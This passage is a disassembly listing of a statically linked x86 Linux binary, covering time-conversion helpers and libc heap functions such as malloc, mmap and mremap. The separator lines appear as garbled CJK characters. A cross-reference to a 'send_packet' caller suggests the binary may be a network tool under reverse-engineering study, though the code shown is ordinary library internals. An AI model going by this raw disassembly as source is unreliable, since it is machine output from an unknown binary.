[ebp+var_1C], 1 jle short loc_805B69B add eax, 76Dh loc_805B69B: ; CODE XREF: sub_805B61C+78j test al, 3 jnz short loc_805B6C1 mov eax, [ebp+var_18] cmp [ebp+var_1C], 1 jle short loc_805B6B0 add eax, 76Dh jmp short loc_805B6B5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805B6B0: ; CODE XREF: sub_805B61C+8Aj add eax, 76Ch loc_805B6B5: ; CODE XREF: sub_805B61C+91j mov ecx, 64h cdq idiv ecx test edx, edx jnz short loc_805B6E5 loc_805B6C1: ; CODE XREF: sub_805B61C+81j mov eax, [ebp+var_18] cmp [ebp+var_1C], 1 jle short loc_805B6D4 add eax, 76Dh jmp short loc_805B6D9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B6D4: ; CODE XREF: sub_805B61C+ACj add eax, 76Ch loc_805B6D9: ; CODE XREF: sub_805B61C+B3j mov ecx, 190h cdq idiv ecx test edx, edx jnz short loc_805B6EA loc_805B6E5: ; CODE XREF: sub_805B61C+A3j mov ebx, 1 loc_805B6EA: ; CODE XREF: sub_805B61C+C7j mov eax, [ebp+var_20] add eax, ds:dword_8068F28[ebx*4] mov [ebp+var_20], eax test eax, eax jle short loc_805B688 nop loc_805B6FC: ; CODE XREF: sub_805B61C+69j ; sub_805B61C+13Fj ... xor ebx, ebx mov eax, [ebp+var_18] add eax, 76Ch test al, 3 jnz short loc_805B716 mov ecx, 64h cdq idiv ecx test edx, edx jnz short loc_805B72A loc_805B716: ; CODE XREF: sub_805B61C+ECj mov eax, [ebp+var_18] add eax, 76Ch mov ecx, 190h cdq idiv ecx test edx, edx jnz short loc_805B72F loc_805B72A: ; CODE XREF: sub_805B61C+F8j mov ebx, 1 loc_805B72F: ; CODE XREF: sub_805B61C+10Cj mov eax, ebx add eax, ebx add eax, ebx shl eax, 4 mov ecx, [ebp+var_1C] lea edx, ds:0[ecx*4] mov eax, dword ptr ds:unk_8068EC8[eax+edx] mov [ebp+var_64], eax cmp [ebp+var_20], eax jle short loc_805B76C sub [ebp+var_20], eax inc [ebp+var_1C] cmp [ebp+var_1C], 0Bh jle short loc_805B6FC mov [ebp+var_1C], 0 inc [ebp+var_18] jmp short loc_805B6FC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B76C: ; CODE XREF: sub_805B61C+133j mov ecx, [ebp+var_2C] mov [ebp+var_68], ecx mov [ebp+var_2C], 0 xor ebx, ebx mov [ebp+var_5C], 1 lea esi, [esi] loc_805B784: ; CODE XREF: sub_805B61C+175j inc ebx mov ecx, [ebp+var_5C] mov eax, ecx add eax, ecx mov [ebp+var_5C], eax test eax, eax jg short loc_805B784 xor edx, edx test eax, eax jl short loc_805B7A2 mov edx, 1 mov ecx, ebx shl edx, cl loc_805B7A2: ; CODE XREF: sub_805B61C+17Bj mov [ebp+var_5C], edx lea ecx, [ebp+var_58] mov [ebp+var_6C], ecx nop loc_805B7AC: ; CODE XREF: sub_805B61C+1C9j ; sub_805B61C+1DCj ... mov ecx, [ebp+var_6C] push ecx mov ecx, [ebp+arg_8] push ecx lea eax, [ebp+var_5C] push eax mov ecx, [ebp+arg_4] call ecx lea eax, [ebp+var_2C] push eax mov ecx, [ebp+var_6C] push ecx call sub_805B5E0 mov edx, eax add esp, 14h test edx, edx jz short loc_805B80C mov eax, ebx dec ebx test eax, eax jl loc_805B8DC test ebx, ebx jge short loc_805B7E8 dec [ebp+var_5C] jmp short loc_805B7AC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805B7E8: ; CODE XREF: sub_805B61C+1C4j test edx, edx jle short loc_805B7FC mov eax, 1 mov ecx, ebx shl eax, cl sub [ebp+var_5C], eax jmp short loc_805B7AC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B7FC: ; CODE XREF: sub_805B61C+1CEj mov eax, 1 mov ecx, ebx shl eax, cl add [ebp+var_5C], eax jmp short loc_805B7AC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B80C: ; CODE XREF: sub_805B61C+1B5j cmp [ebp+var_C], 0 jl loc_805B8E4 mov eax, [ebp+var_38] cmp [ebp+var_C], eax jz loc_805B8E4 mov ebx, offset unk_807C9F0 cmp [ebp+arg_4], offset sub_805B048 jnz short loc_805B835 mov ebx, offset dword_807B0E0 loc_805B835: ; CODE XREF: sub_805B61C+212j mov [ebp+var_64], 0 mov ecx, [ebp+var_64] cmp [ebx+8], ecx jle loc_805B8DC mov [ebp+var_70], 0 nop loc_805B850: ; CODE XREF: sub_805B61C+2BAj mov ecx, [ebp+var_70] mov eax, [ecx+ebx+750h] cmp [ebp+var_C], eax jnz short loc_805B8C9 xor edi, edi cmp [ebx+8], edi jle short loc_805B8C9 xor esi, esi loc_805B868: ; CODE XREF: sub_805B61C+2ABj mov eax, [esi+ebx+750h] cmp [ebp+var_C], eax jz short loc_805B8C0 mov eax, [ebp+var_5C] add eax, [esi+ebx+74Ch] mov ecx, [ebp+var_70] sub eax, [ecx+ebx+74Ch] mov [ebp+var_60], eax mov ecx, [ebp+var_6C] push ecx mov ecx, [ebp+arg_8] push ecx lea eax, [ebp+var_60] push eax mov ecx, [ebp+arg_4] call ecx lea eax, [ebp+var_2C] push eax mov ecx, [ebp+var_6C] push ecx call sub_805B5E0 add esp, 14h test eax, eax jnz short loc_805B8C0 mov eax, [ebp+var_38] cmp [ebp+var_C], eax jnz short loc_805B8C0 mov eax, [ebp+var_60] mov [ebp+var_5C], eax jmp short loc_805B8E4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805B8C0: ; CODE XREF: sub_805B61C+256j ; sub_805B61C+292j ... add esi, 10h inc edi cmp [ebx+8], edi jg short loc_805B868 loc_805B8C9: ; CODE XREF: sub_805B61C+241j ; sub_805B61C+248j add [ebp+var_70], 10h inc [ebp+var_64] mov ecx, [ebp+var_64] cmp [ebx+8], ecx jg loc_805B850 loc_805B8DC: ; CODE XREF: sub_805B61C+1BCj ; sub_805B61C+226j mov eax, 0FFFFFFFFh jmp short loc_805B907 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805B8E4: ; CODE XREF: sub_805B61C+1F4j ; sub_805B61C+200j ... mov ecx, [ebp+var_68] add [ebp+var_5C], ecx mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+arg_8] push ecx lea eax, [ebp+var_5C] push eax mov ecx, [ebp+arg_4] call ecx mov ecx, [ebp+arg_C] mov dword ptr [ecx], 1 mov eax, [ebp+var_5C] loc_805B907: ; CODE XREF: sub_805B61C+2C5j lea esp, [ebp+var_7C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805B61C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805B914 proc near ; CODE XREF: sub_805BA50+Ep ; sub_805BA68+15p var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push edi push esi push ebx mov edi, [ebp+arg_0] cmp dword ptr [edi+20h], 1 jle short loc_805B92D mov dword ptr [edi+20h], 1 loc_805B92D: ; CODE XREF: sub_805B914+10j lea eax, [ebp+var_4] push eax mov edx, [ebp+arg_8] push edx mov edx, [ebp+arg_4] push edx push edi call sub_805B61C add esp, 10h cmp [ebp+var_4], 0 jnz loc_805BA45 cmp dword ptr [edi+20h], 0 jl loc_805BA45 mov ebx, offset unk_807C9F0 cmp [ebp+arg_4], offset sub_805B048 jnz short loc_805B969 mov ebx, offset dword_807B0E0 loc_805B969: ; CODE XREF: sub_805B914+4Ej mov [ebp+var_8], 0 mov edx, [ebp+var_8] cmp [ebx+8], edx jle loc_805BA40 mov [ebp+var_14], 0 nop loc_805B984: ; CODE XREF: sub_805B914+126j mov edx, [ebp+var_14] mov eax, [edx+ebx+750h] cmp [edi+20h], eax jnz loc_805BA2D mov [ebp+var_C], 0 mov edx, [ebp+var_C] cmp [ebx+8], edx jle loc_805BA2D mov edx, [ebp+var_14] mov [ebp+var_10], edx xor esi, esi lea esi, [esi] loc_805B9B4: ; CODE XREF: sub_805B914+117j mov eax, [esi+ebx+750h] cmp [edi+20h], eax jz short loc_805BA1F mov eax, [esi+ebx+74Ch] mov edx, [ebp+var_10] sub eax, [edx+ebx+74Ch] add [edi], eax cmp dword ptr [edi+20h], 0 setz al and eax, 0FFh mov [edi+20h], eax lea eax, [ebp+var_4] push eax mov edx, [ebp+arg_8] push edx mov edx, [ebp+arg_4] push edx push edi call sub_805B61C add esp, 10h cmp [ebp+var_4], 0 jnz short loc_805BA45 mov eax, [esi+ebx+74Ch] mov edx, [ebp+var_10] sub eax, [edx+ebx+74Ch] sub [edi], eax cmp dword ptr [edi+20h], 0 setz al and eax, 0FFh mov [edi+20h], eax loc_805BA1F: ; CODE XREF: sub_805B914+AAj add esi, 10h inc [ebp+var_C] mov edx, [ebp+var_C] cmp [ebx+8], edx jg short loc_805B9B4 loc_805BA2D: ; CODE XREF: sub_805B914+7Dj ; sub_805B914+90j add [ebp+var_14], 10h inc [ebp+var_8] mov edx, [ebp+var_8] cmp [ebx+8], edx jg loc_805B984 loc_805BA40: ; CODE XREF: sub_805B914+62j mov eax, 0FFFFFFFFh loc_805BA45: ; CODE XREF: sub_805B914+32j ; sub_805B914+3Cj ... lea esp, [ebp+var_20] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805B914 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805BA50 proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push 0 push offset sub_805B048 push eax call sub_805B914 mov esp, ebp pop ebp retn sub_805BA50 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805BA68 proc near arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax+20h], 0 push 0 push offset sub_805B144 push eax call sub_805B914 mov esp, ebp pop ebp retn sub_805BA68 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805BA88 proc near ; CODE XREF: malloc+446p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+arg_0] mov esi, 4 mov edx, 0FFFh mov eax, dword_8078F80 cmp dword_8078F44, eax jbe short loc_805BAC6 add ebx, esi add ebx, edx mov eax, edx not eax and ebx, eax push 0 push 0FFFFFFFFh push 22h push 3 push ebx push 0 call mmap cmp eax, 0FFFFFFFFh jnz short loc_805BACC loc_805BAC6: ; CODE XREF: sub_805BA88+1Dj xor eax, eax jmp short loc_805BB28 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BACC: ; CODE XREF: sub_805BA88+3Cj inc dword_8078F80 mov edx, dword_8078F80 cmp dword_8078F84, edx jnb short loc_805BAE6 mov dword_8078F84, edx loc_805BAE6: ; CODE XREF: sub_805BA88+56j lea edx, [esi+eax] mov [edx-4], esi mov eax, ebx sub eax, esi or al, 2 mov [edx], eax mov eax, ebx add eax, dword_8078F88 mov dword_8078F88, eax cmp dword_8078F8C, eax jnb short loc_805BB0E mov dword_8078F8C, eax loc_805BB0E: ; CODE XREF: sub_805BA88+7Fj mov eax, dword_8078F88 add eax, dword_8078F58 cmp dword_8078F54, eax jnb short loc_805BB26 mov dword_8078F54, eax loc_805BB26: ; CODE XREF: sub_805BA88+97j mov eax, edx loc_805BB28: ; CODE XREF: sub_805BA88+40j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_805BA88 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805BB34 proc near ; CODE XREF: free+1Fp sub_805C4F8+B2p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] mov edx, [eax-4] mov ebx, [eax] and bl, 0FCh add ebx, edx push ebx sub eax, edx push eax call munmap dec dword_8078F80 sub dword_8078F88, ebx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805BB34 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805BB64 proc near ; CODE XREF: sub_805C4F8+60p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov edx, [ebp+arg_0] mov esi, [edx-4] mov edi, [edx] and edi, 0FFFFFFFCh mov ebx, [ebp+arg_4] add ebx, esi add ebx, 0FFFh and ebx, 0FFFFF000h push 1 push ebx lea eax, [esi+edi] push eax mov eax, edx sub eax, esi push eax call mremap cmp eax, 0FFFFFFFFh jnz short loc_805BBA0 xor eax, eax jmp short loc_805BBE8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BBA0: ; CODE XREF: sub_805BB64+36j lea edx, [esi+eax] mov eax, ebx sub eax, esi or al, 2 mov [edx], eax lea eax, [esi+edi] sub dword_8078F88, eax mov eax, ebx add eax, dword_8078F88 mov dword_8078F88, eax cmp dword_8078F8C, eax jnb short loc_805BBCE mov dword_8078F8C, eax loc_805BBCE: ; CODE XREF: sub_805BB64+63j mov eax, dword_8078F88 add eax, dword_8078F58 cmp dword_8078F54, eax jnb short loc_805BBE6 mov dword_8078F54, eax loc_805BBE6: ; CODE XREF: sub_805BB64+7Bj mov eax, edx loc_805BBE8: ; CODE XREF: sub_805BB64+3Aj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805BB64 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_805BBF4 proc near ; CODE XREF: malloc+45Cp var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push edi push esi push ebx mov edx, dword_8078B38 mov [ebp+var_4], edx mov ecx, [edx] and cl, 0FCh mov [ebp+var_8], ecx mov ebx, edx add ebx, ecx mov esi, [ebp+arg_0] add esi, dword_8078F40 add esi, 10h cmp dword_8078F4C, 0FFFFFFFFh jz short loc_805BC33 add esi, 0FFFh and esi, 0FFFFF000h loc_805BC33: ; CODE XREF: sub_805BBF4+31j push esi mov eax, dword_8078B30 call eax ; sub_8065DE0 mov edi, eax add esp, 4 test edi, edi jz loc_805BD69 cmp edi, ebx jnb short loc_805BC59 cmp [ebp+var_4], offset dword_8078B34 jnz loc_805BD69 loc_805BC59: ; CODE XREF: sub_805BBF4+56j add dword_8078F58, esi cmp edi, ebx jnz short loc_805BC78 add esi, [ebp+var_8] mov eax, dword_8078B38 or esi, 1 mov [eax], esi jmp loc_805BD3F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BC78: ; CODE XREF: sub_805BBF4+6Dj cmp dword_8078F4C, 0FFFFFFFFh jnz short loc_805BC8C mov dword_8078F4C, edi jmp short loc_805BC96 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BC8C: ; CODE XREF: sub_805BBF4+8Bj mov eax, edi sub eax, ebx add dword_8078F58, eax loc_805BC96: ; CODE XREF: sub_805BBF4+93j lea eax, [edi+4] and eax, 7 jz short loc_805BCAC mov ebx, 8 sub ebx, eax add edi, ebx jmp short loc_805BCAE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BCAC: ; CODE XREF: sub_805BBF4+A8j xor ebx, ebx loc_805BCAE: ; CODE XREF: sub_805BBF4+B3j lea eax, [esi+edi] mov edx, 1000h dec edx and eax, edx mov ecx, 1000h sub ecx, eax mov eax, ecx add ebx, eax push ebx mov eax, dword_8078B30 call eax ; sub_8065DE0 add esp, 4 test eax, eax jz loc_805BD69 add dword_8078F58, ebx mov dword_8078B38, edi mov esi, eax sub esi, edi add esi, ebx or esi, 1 mov [edi], esi cmp [ebp+var_4], offset dword_8078B34 jz short loc_805BD3F mov edx, [ebp+var_8] mov ecx, [ebp+var_4] mov dword ptr [ecx+edx-8], 5 mov dword ptr [ecx+edx-4], 5 add edx, 0FFFFFFF8h and edx, 7 mov [ebp+var_8], edx mov dword ptr [edx+ecx], 5 mov dword ptr [ecx+edx+4], 5 mov eax, [ecx] and eax, 1 or eax, edx mov [ecx], eax cmp edx, 0Fh jbe short loc_805BD3F mov eax, [ebp+var_4] add eax, 4 push eax call free loc_805BD3F: ; CODE XREF: sub_805BBF4+7Cj ; sub_805BBF4+101j ... mov eax, dword_8078F58 cmp dword_8078F50, eax jnb short loc_805BD51 mov dword_8078F50, eax loc_805BD51: ; CODE XREF: sub_805BBF4+156j mov eax, dword_8078F88 add eax, dword_8078F58 cmp dword_8078F54, eax jnb short loc_805BD69 mov dword_8078F54, eax loc_805BD69: ; CODE XREF: sub_805BBF4+4Ej ; sub_805BBF4+5Fj ... lea esp, [ebp+var_18] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805BBF4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden malloc proc near ; CODE XREF: send_packet+2Cp ; setenv+85p ... var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push edi push esi push ebx mov eax, [ebp+arg_0] cmp eax, 0Bh jle short loc_805BD94 add eax, 0Bh mov [ebp+var_C], eax and [ebp+var_C], 0FFFFFFF8h jmp short loc_805BD9B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BD94: ; CODE XREF: malloc+Fj mov [ebp+var_C], 10h loc_805BD9B: ; CODE XREF: malloc+1Bj cmp [ebp+var_C], 1F7h ja short loc_805BE00 mov ecx, [ebp+var_C] shr ecx, 3 mov [ebp+var_4], ecx mov ebx, dword_8078B3C[ecx*8] lea eax, ds:8078B34h[ecx*8] cmp ebx, eax jnz short loc_805BDD1 mov ebx, dword_8078B44[ecx*8] lea eax, ds:8078B3Ch[ecx*8] cmp ebx, eax jz short loc_805BDF4 loc_805BDD1: ; CODE XREF: malloc+49j mov edi, [ebx] and edi, 0FFFFFFFCh mov [ebp+var_14], edi mov esi, [ebx+8] mov ecx, [ebx+4] mov [ebp+var_10], ecx mov [ecx+8], esi mov [esi+4], ecx or byte ptr [edi+ebx], 1 jmp loc_805C281 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BDF4: ; CODE XREF: malloc+5Bj add [ebp+var_4], 2 jmp loc_805BEE5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BE00: ; CODE XREF: malloc+2Ej mov eax, [ebp+var_C] shr eax, 9 jnz short loc_805BE18 mov edi, [ebp+var_C] shr edi, 3 mov [ebp+var_4], edi jmp loc_805BEAB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BE18: ; CODE XREF: malloc+92j mov eax, [ebp+var_C] shr eax, 9 cmp eax, 4 ja short loc_805BE34 mov ecx, [ebp+var_C] shr ecx, 6 add ecx, 38h mov [ebp+var_4], ecx jmp short loc_805BEAB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BE34: ; CODE XREF: malloc+ADj mov eax, [ebp+var_C] shr eax, 9 cmp eax, 14h ja short loc_805BE48 add eax, 5Bh mov [ebp+var_4], eax jmp short loc_805BEAB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BE48: ; CODE XREF: malloc+C9j mov eax, [ebp+var_C] shr eax, 9 cmp eax, 54h ja short loc_805BE64 mov edi, [ebp+var_C] shr edi, 0Ch add edi, 6Eh mov [ebp+var_4], edi jmp short loc_805BEAB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BE64: ; CODE XREF: malloc+DDj mov eax, [ebp+var_C] shr eax, 9 cmp eax, 154h ja short loc_805BE80 mov ecx, [ebp+var_C] shr ecx, 0Fh add ecx, 77h mov [ebp+var_4], ecx jmp short loc_805BEAB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BE80: ; CODE XREF: malloc+FBj mov eax, [ebp+var_C] shr eax, 9 cmp eax, 554h ja short loc_805BEA4 mov edi, [ebp+var_C] shr edi, 12h add edi, 7Ch mov [ebp+var_4], edi jmp short loc_805BEAB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805BE9C: ; CODE XREF: malloc+15Cj dec [ebp+var_4] jmp short loc_805BEE2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BEA4: ; CODE XREF: malloc+117j mov [ebp+var_4], 7Eh loc_805BEAB: ; CODE XREF: malloc+9Dj malloc+BBj ... mov ecx, [ebp+var_4] lea ecx, ds:8078B34h[ecx*8] mov [ebp+var_8], ecx mov ebx, [ecx+8] cmp ebx, ecx jz short loc_805BEE2 nop loc_805BEC0: ; CODE XREF: malloc+16Cj mov edi, [ebx] and edi, 0FFFFFFFCh mov [ebp+var_14], edi mov edx, edi sub edx, [ebp+var_C] cmp edx, 0Fh jg short loc_805BE9C test edx, edx jge loc_805C1F0 mov ebx, [ebx+8] cmp [ebp+var_8], ebx jnz short loc_805BEC0 loc_805BEE2: ; CODE XREF: malloc+12Bj malloc+149j inc [ebp+var_4] loc_805BEE5: ; CODE XREF: malloc+84j mov ebx, dword_8078B40 cmp ebx, offset dword_8078B3C jz loc_805C087 mov ecx, [ebx] and cl, 0FCh mov [ebp+var_14], ecx mov edx, ecx sub edx, [ebp+var_C] cmp edx, 0Fh jle short loc_805BF40 mov eax, [ebp+var_C] add eax, ebx mov edi, [ebp+var_C] or edi, 1 mov [ebx], edi mov dword_8078B44, eax mov dword_8078B40, eax mov dword ptr [eax+8], offset dword_8078B3C mov dword ptr [eax+4], offset dword_8078B3C mov ecx, edx or cl, 1 mov [eax], ecx mov [edx+eax-4], edx jmp loc_805C281 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BF40: ; CODE XREF: malloc+193j mov dword_8078B44, offset dword_8078B3C mov dword_8078B40, offset dword_8078B3C test edx, edx jl short loc_805BF64 mov edi, [ebp+var_14] or byte ptr [edi+ebx], 1 jmp loc_805C281 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805BF64: 